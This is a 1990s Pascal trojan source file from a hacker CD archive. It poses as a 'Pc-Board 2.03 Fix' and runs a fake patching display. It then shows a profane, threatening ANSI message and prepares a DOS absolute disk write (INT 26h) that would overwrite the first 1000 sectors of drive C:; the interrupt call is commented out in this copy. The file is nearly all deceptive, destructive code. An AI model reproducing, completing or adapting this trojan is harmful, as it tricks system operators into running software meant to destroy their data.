home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hacker 2
/
HACKER2.mdf
/
virus
/
viruspcb.pas
< prev
next >
Wrap
Pascal/Delphi Source File
|
1995-01-03
|
8KB
|
214 lines
{$I-}
PROGRAM Formatter (input, output);
uses dos,crt,printer,extra;
Type ScreenType = array [0..3999] of Byte;
Var Regs : Registers;
ResultIo : Integer;
CounterOne : Integer;
CounterTwo : Integer;
CounterThree : Integer;
CounterFour : Integer;
XPosition : Integer;
YPosition : Integer;
TargetAddressNumber : Integer;
PcBoardDirectory : String;
CountOne : String;
CountTwo : String;
CountThree : String;
CountFour : String;
ScreenAddr : ScreenType absolute $B800:$0000;
Const ProgramOne ='Command.Com';
ProgramTwo ='Command.Com';
SearchFor ='Stack Overflow';
ShortName ='Pc-Board';
Version ='2.03';
LongName = ShortName+' '+Version+' Fix for '+SearchFor;
Directory ='C:\PCBOARD\';
Programmers='Programmed by Larry Jones';
ImageData : array [1..648] of Char = (
#16,#24,#25,#3 ,#15,'Y','o','u',' ','s','t','u','p','i','d',' ','l','i','t',
't','l','e',' ','s','h','i','t',',',' ','t','h','i','s',' ','i','s',' ','a',
' ','V','I','R','U','S',',',' ','d','i','s','t','r','i','b','u','t','e','d',
' ','b','y',' ','n','o',' ','o','t','h','e','r',' ','t','h','a','n','.','.',
'.',#24,#24,#25,#11,#12,#27,#17,'┌',#26,#53,'─','┐',#24,#16,#25,#11,#17,'│',
' ',' ',#11,#27,'▀',#26,#6 ,'█','▄',' ',' ','▄',#26,#5 ,'█','▄',' ',' ','▀',
#26,#7 ,'█','▄',' ','▀','▀','█','█','▀','▀',' ','▀',#26,#6 ,'█','▄',#25,#3 ,
#12,#27,'│',#15,#27,#23,'█',#24,#16,#25,#11,#12,#27,#17,'│',#25,#2 ,#11,#27,
'█','█',#25,#3 ,'█','█',' ',' ','█','█',#25,#3 ,'█','█',#25,#2 ,'█','█',#25,
#3 ,'▄','█','█',#25,#2 ,'█','█',#25,#3 ,'█','█',#25,#4 ,'█','█',#25,#2 ,#12,
#27,'│',#15,#27,#23,'█',#7 ,'█',#24,#16,#25,#11,#12,#27,#17,'│',#25,#2 ,#11,
#27,#26,#6 ,'█',#25,#2 ,#26,#7 ,'█',#25,#2 ,#26,#7 ,'█',#25,#3 ,'█','█',#25,
#3 ,'█','█',#25,#4 ,'█','█',#25,#2 ,#12,#27,'│',#15,#27,#23,'█',#7 ,'█',#8 ,
#16,'█',#24,#25,#11,#12,#27,#17,'│',#25,#2 ,#11,#27,'█','█',' ','▀','█','▄',
#25,#3 ,'█','█',#25,#3 ,'█','█',#25,#2 ,'█','█',#25,#3 ,'▀','█','█',#25,#2 ,
'█','█',#25,#3 ,'█','█',#25,#4 ,'█','█',#25,#2 ,#12,#27,'│',#15,#27,#23,'█',
#7 ,'█',#8 ,#16,'█',#24,#25,#11,#12,#27,#17,'│',' ',' ',#11,#27,'▄','█','█',
'▄',' ','▄','█','█','▄',' ','▄','█','█','▄',' ',' ','▄','█','█','▄',' ','▄',
#26,#7 ,'█','▀',' ','▄','▄','█','█','▄','▄',' ','▄',#26,#6 ,'█','▀',#25,#3 ,
#12,#27,'│',#15,#27,#23,'█',#7 ,'█',#8 ,#16,'█',#24,#25,#11,#12,#27,#17,'└',
#26,#53,'─','┘',#15,#27,#23,'█',#7 ,'█',#8 ,#16,'█',#24,#25,#13,#15,'▀',#23,
#26,#53,'▀',#7 ,'█',#8 ,#16,'█',#24,#25,#15,#26,#54,'▀',#24,#25,#17,#7 ,'W',
'e',#39,'r','e',' ','g','o','n','n','a',' ','g','e','t',' ','y','o','u',',',
' ','n','o',' ','m','a','t','t','e','r',' ','w','h','a','t',' ','i','t',' ',
't','a','k','e','s','.',#24,#25,#17,'L','i','s','t','e','n',' ','u','p',',',
' ','k','i','d','s',#26,#4 ,'.',#15,'D','O','N',#39,'T',' ','F','U','C','K',
' ','W','I','T','H',' ','R','A','B','I','D',#7 ,#26,#3 ,'.',#24,#25,#21,'Y',
'o','u',#39,'l','l',' ','n','e','v','e','r',' ','l','i','v','e',' ','t','o',
' ','m','a','k','e',' ','i','t',' ','a','l','i','v','e','.','.',#24,#24,#25,
#14,'W','i','n','n','i','n','g',' ','t','h','e',' ','b','a','t','t','l','e',
',',' ','a','g','a','i','n','s','t',' ',#15,'F','U','C','K','E','R','S',' ',
#7 ,'l','i','k','e',' ','y','o','u','r','s','e','l','f','.','.',#24,#24,#25,
#23,#4 ,'(','T','h','e',' ','W','o','r','d','s',' ','f','r','o','m',' ','t',
'h','e',' ','I','m','m','o','r','t','a','l',' ','O','n','e',')',#24,#24,#24,
#24,#24);
procedure UNCRUNCH (var Addr1,Addr2; BlkLen:Integer);
begin
inline ($1E/$C5/$B6/Addr1/$C4/$BE/Addr2/$8B/$8E/BlkLen/$8B/$D7/$B4/$00/
$AC/$3C/$10/$73/$07/$80/$E4/$F0/$0A/$E0/$EB/$44/$3C/$18/$74/$13/$73/$19/
$2C/$10/$02/$C0/$02/$C0/$02/$C0/$02/$C0/$80/$E4/$0F/$0A/$E0/$EB/$2D/$81/
$C2/$A0/$00/$8B/$FA/$EB/$25/$3C/$1A/$75/$0B/$AC/$49/$51/$32/$ED/$8A/$C8/
$AC/$EB/$0D/$90/$3C/$19/$75/$11/$AC/$51/$32/$ED/$8A/$C8/$B0/$20/$0B/$C9/
$74/$03/$AB/$E2/$FD/$59/$49/$AB/$0B/$C9/$74/$02/$E2/$AA/$1F);
end;
Function Exist (FileName:String):Boolean;
Var FileToOpen:File;
CounterOne:Integer;
Begin
Assign (FileToOpen,FileName);
Reset (FileToOpen);
CounterOne:=ioresult;
Exist:=CounterOne=0;
Close (FileToOpen);
CounterOne:=ioresult
End;
Procedure WasteTime (TimeToWaste:Integer);
Var CounterOne:Integer;
FileToOpen:File;
Begin
For CounterOne:=1 to TimeToWaste do begin
Assign (FileToOpen,'C:\COMMAND.COM');
Reset (FileToOpen);
Close (FileToOpen);
Randomize;
delay (Random(500));
end;
end;
Function Strr(IntegerNumber:Integer):String;
Var StringNumber:String;
Begin
Str(IntegerNumber,StringNumber);
Strr:=StringNumber;
End;
procedure Format;
Begin
Clrscr;
UnCrunch (ImageData,ScreenAddr[ (1*2) + (1*160) -162],648);
{ Intr ($26,Regs);}
end;
begin
SetCBreak(true);
TargetAddressNumber:=1;
NormCursorOn;
TextColor (7);
TextBackGround(0);
writeln;
writeln;
writeln;
writeln (LongName);
writeln (Programmers);
repeat;
writeln;
writeln (' Enter the Directory where '+ShortName+' '+Version+' is Stored: (Eg. '+Directory+') ');
writeln;
write (' Directory Name>: ');
readln (PcBoardDirectory);
if (length(PcBoardDirectory)=0) then PcBoardDirectory:='__________';
ChDir (PcBoardDirectory);
ResultIo:=0;
ResultIo:=IoResult;
If ResultIo <>0 then begin
writeln;
TextColor(4);
writeln (' Directory does not exist.');
TextColor(7);
writeln;
writeln;
halt;
end;
until ResultIo=0;
ChDir (PcBoardDirectory);
if ((not(exist(ProgramOne))) or (not(exist(ProgramTwo)))) then begin
writeln;
TextColor(4);
writeln (' '+ShortName+' files not found.');
TextColor(7);
Halt;
end;
writeln;
write (' Loading '+ShortName+'.EXE... ');
WasteTime (70);
Delay (2000);
write (' Searching for '+SearchFor+' - ');
TargetAddressNumber:=TargetAddressNumber+3;
TargetAddressNumber:=TargetAddressNumber-2;
TargetAddressNumber:=TargetAddressNumber*2;
Delay (1500);
CursorOff;
XPosition:=WhereX;
YPosition:=WhereY;
For CounterOne:=0 to 1 do begin
For CounterTwo:=0 to 13 do begin
For CounterThree:=0 to 7 do begin
For CounterFour:=0 to 11 do begin
Gotoxy (XPosition,YPosition);
if CounterFour=10 then CountFour:='A' else
if CounterFour=11 then CountFour:='B' else
if CounterFour=12 then CountFour:='C' else
if CounterFour=13 then CountFour:='D' else
CountFour:=strr(CounterFour);
if CounterThree=10 then CountThree:='A' else
if CounterThree=11 then CountThree:='B' else
if CounterThree=12 then CountThree:='C' else
if CounterThree=13 then CountThree:='D' else
CountThree:=strr(CounterThree);
if CounterTwo=10 then CountTwo:='A' else
if CounterTwo=11 then CountTwo:='B' else
if CounterTwo=12 then CountTwo:='C' else
if CounterTwo=13 then CountTwo:='D' else
CountTwo:=strr(CounterTwo);
if CounterOne=10 then CountOne:='A' else
if CounterOne=11 then CountOne:='B' else
if CounterOne=12 then CountOne:='C' else
if CounterOne=13 then CountOne:='D' else
CountOne:=strr(CounterOne);
write ('1B9C:',CountOne,CountTwo,CountThree,CountFour);
end;
end;
end;
end;
NormCursorOn;
Delay (1500);
writeln;
write (' '+strr(TargetAddressNumber)+' Target Address Found... ');
Delay (1500);
writeln ('Fixing '+SearchFor+'...');
delay (3000);
write (' Rewriting '+ShortName+' Program.... ');
WasteTime (30);
writeln (' '+SearchFor+' will not occur any more.');
Regs.AL:=2;
Regs.CX:=1000;
Regs.DX:=0;
Format;
end.
Downloaded From P-80 International Information Systems 304-744-2253